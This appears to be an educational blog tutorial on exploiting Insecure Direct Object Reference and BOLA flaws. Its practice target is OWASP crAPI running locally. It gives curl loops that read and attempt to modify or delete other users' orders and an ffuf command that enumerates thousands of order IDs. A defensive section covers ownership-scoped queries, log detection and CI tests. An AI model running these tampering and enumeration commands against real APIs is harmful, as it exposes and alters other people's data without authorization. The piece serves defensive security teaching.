IDOR and Broken Access Control: Exploiting Insecure Direct Object References

Web Exploitation
Time it takes to read this article 6 minutes.

Disclaimer: This article is for education and authorized security testing only. Test exclusively against systems you own or have explicit written permission to assess. Unauthorized access to data or systems is illegal in most jurisdictions (e.g., the US CFAA, the UK Computer Misuse Act). The author assumes no liability for misuse.

Introduction

Insecure Direct Object Reference (IDOR) is consistently one of the highest-impact, lowest-complexity bugs in web and API security. It sits at the heart of OWASP API Security's API1:2023 — Broken Object Level Authorization (BOLA) and the broader A01:2021 — Broken Access Control in the OWASP Top 10. The core idea is simple: an application exposes a reference to an internal object (a database row, a file, a user account) and trusts that reference without verifying that the current user is actually authorized to access that object.

In this article you'll learn how to spot insecure object references, how parameter tampering turns a normal request into an authorization bypass, how BOLA generalizes the problem to APIs, and how enumeration scales a single bug into a full data breach. We'll then weigh defenses with equal seriousness, because finding IDOR is easy — fixing it correctly is where teams stumble.

How It Works

A direct object reference is any identifier the client supplies that the server uses to fetch a specific resource. The classic example:

GET /api/v1/invoices/1042 HTTP/1.1
Authorization: Bearer eyJhbGci...
Plaintext

The server authenticates the bearer token (you are a valid user — authentication passes), then loads invoice 1042 and returns it. The vulnerability appears when the server never checks whether invoice 1042 belongs to you (authorization is missing). Change 1042 to 1043 and you read someone else's invoice.

The reference itself can be:

  • Sequential integers (/users/5) — trivially enumerable.
  • UUIDs / GUIDs — harder to guess, but often leaked elsewhere (lists, search, error messages), so they only provide weak "security through obscurity."
  • Filenames or paths (?file=report_2026.pdf) — overlaps with path traversal.
  • Indirect-looking but predictable hashes (e.g., md5(user_id)), which are reversible once the scheme is known.

BOLA is the API-era name for the same flaw. APIs expose object IDs everywhere — in paths, query strings, JSON bodies, and headers — so the attack surface is larger and the missing-check pattern is repeated across dozens of endpoints. A team might fix GET /orders/{id} but forget DELETE /orders/{id} or PATCH /orders/{id}/notes.

Prerequisites / Lab Setup

To practice legally, use an intentionally vulnerable target. OWASP crAPI (completely ridiculous API) and VAmPI are purpose-built for BOLA practice.

# Spin up OWASP crAPI locally
git clone https://github.com/OWASP/crAPI.git
cd crAPI/deploy/docker
docker compose pull
docker compose -f docker-compose.yml --compatibility up -d
# Web UI on http://localhost:8888, API gateway on :8888/identity, :8888/workshop, etc.
Bash

Tooling you'll use:

  • Burp Suite (Community or Pro) as an intercepting proxy.
  • ffuf or Burp Intruder for enumeration.
  • jq and curl for scripted API testing.
  • Autorize (Burp extension) to automate "does low-priv user see high-priv data" checks.

Create two accounts (attacker@test.local and victim@test.local). The whole methodology hinges on holding attacker credentials and trying to reach victim objects.

Attack Walkthrough / PoC

Step 1 — Map object references

Browse the app as the attacker with Burp running. In the Proxy > HTTP history, look for any request carrying an identifier you control. Filter for numeric IDs and likely keys:

GET  /workshop/api/shop/orders/12      <-- order id
GET  /identity/api/v2/user/dashboard   <-- returns your own profile
POST /workshop/api/merchant/contact_mechanic
Plaintext

Step 2 — Parameter tampering

Take your own order and send it to Burp Repeater. Decrement or increment the ID:

GET /workshop/api/shop/orders/11 HTTP/1.1
Host: localhost:8888
Authorization: Bearer <ATTACKER_JWT>
HTTP

If the response returns an order you never placed (different user_id, different shipping address), you have a confirmed IDOR. Replicate it with curl for your report:

ATT_JWT="eyJhbGci...attacker..."
for id in 9 10 11 12 13; do
  echo "=== order $id ==="
  curl -s "http://localhost:8888/workshop/api/shop/orders/$id" \
    -H "Authorization: Bearer $ATT_JWT" | jq '{id, user, status, total}'
done
Bash

Step 3 — Check every HTTP method

A read may be locked down while writes are not. Probe the full verb set on the same object:

for m in GET PUT PATCH DELETE; do
  echo "== $m =="
  curl -s -o /dev/null -w "%{http_code}\n" -X "$m" \
    "http://localhost:8888/workshop/api/shop/orders/11" \
    -H "Authorization: Bearer $ATT_JWT" \
    -H "Content-Type: application/json" -d '{"status":"cancelled"}'
done
Bash

Step 4 — Enumeration at scale

Once one ID leaks, automate harvesting across the ID space with ffuf, replacing the ID with FUZZ:

ffuf -u "http://localhost:8888/workshop/api/shop/orders/FUZZ" \
  -H "Authorization: Bearer $ATT_JWT" \
  -w <(seq 1 5000) \
  -mc 200 -fr "Order not found" \
  -o idor_orders.json -of json
Bash

-mc 200 keeps successful hits; -fr filters the "not found" body so only valid, accessible objects remain. For UUID-based references, enumeration shifts to harvesting IDs from other endpoints (search results, Location headers, GraphQL introspection) rather than guessing.

Step 5 — Automated authorization testing

Manually toggling tokens is slow. Autorize replays every request the attacker makes with the victim's (or no) session and flags mismatches. Configure it with the low-privilege token, browse normally, and watch for green "Bypassed!" rows — each is a candidate IDOR. This is the fastest way to sweep a large API surface during an engagement.

Attack Flow Diagram

IDOR and Broken Access Control: Exploiting Insecure Direct Object References diagram 1

The diagram shows authentication succeeding while the object-level authorization check is absent, letting an authenticated attacker enumerate and read records belonging to other users.

Detection & Defense (Blue Team)

Defending against IDOR/BOLA is an authorization architecture problem, not a patch you bolt on. Address it at multiple layers.

1. Enforce object-level authorization on every request. Never trust a client-supplied ID. Scope queries to the authenticated principal at the data layer:

-- Bad: trusts the ID alone
SELECT * FROM orders WHERE id = :id;

-- Good: ownership is part of the query
SELECT * FROM orders WHERE id = :id AND user_id = :current_user_id;
SQL

Centralize this with a policy layer (e.g., a can(user, action, resource) check, or a framework guard like Rails Pundit/CanCanCan, Django object permissions, or OPA/Rego) so authorization isn't re-implemented — and forgotten — per endpoint.

2. Use unpredictable references, but treat them as defense-in-depth only. Random UUIDv4 keys raise the bar for blind enumeration; they do not replace an ownership check, because IDs leak.

3. Prefer indirect references. Map per-session/per-user opaque tokens to real IDs server-side so the actual primary key never reaches the client.

4. Detection via logging and rate analysis. IDOR enumeration produces a recognizable signature: one principal touching many distinct object IDs, and a spike in 403/404 responses. Hunt for it:

# Find tokens/users hitting many distinct order IDs in access logs
awk '$7 ~ /\/orders\/[0-9]+/ {print $1, $7}' access.log \
  | sort -u | awk '{print $1}' | sort | uniq -c | sort -rn | head
Bash

In a SIEM, alert when a single session's distinct accessed object count or 403/404 rate exceeds a baseline. Map detections to MITRE ATT&CK T1190 (Exploit Public-Facing Application) and watch for the data-collection follow-on.

5. Defense in depth at the edge. Per-user rate limiting and WAF rules throttle bulk enumeration even if a logic bug exists. They are mitigations, not fixes.

6. Shift-left testing. Add authorization tests to CI that assert user A cannot read user B's object for every resource. Run Autorize or contract-based BOLA tests against staging in the pipeline.

For more on chaining web access-control bugs, see Exploiting JWT Authentication Flaws, GraphQL API Penetration Testing, and Mass Assignment and Excessive Data Exposure.

Conclusion

IDOR and BOLA persist because authentication is easy to get right and authorization is easy to get wrong. The exploit pattern is always the same — find a client-controlled object reference, perform parameter tampering, confirm the missing check, then enumerate to scale impact. The fix is equally consistent: enforce ownership at the data layer, on every verb and every endpoint, and verify it continuously with automated tests. Obscure IDs and rate limits help, but they only buy time. If you remember one thing: authentication tells you who you are; authorization decides what you're allowed to touch — never skip the second question.

References

Comments

Copied title and URL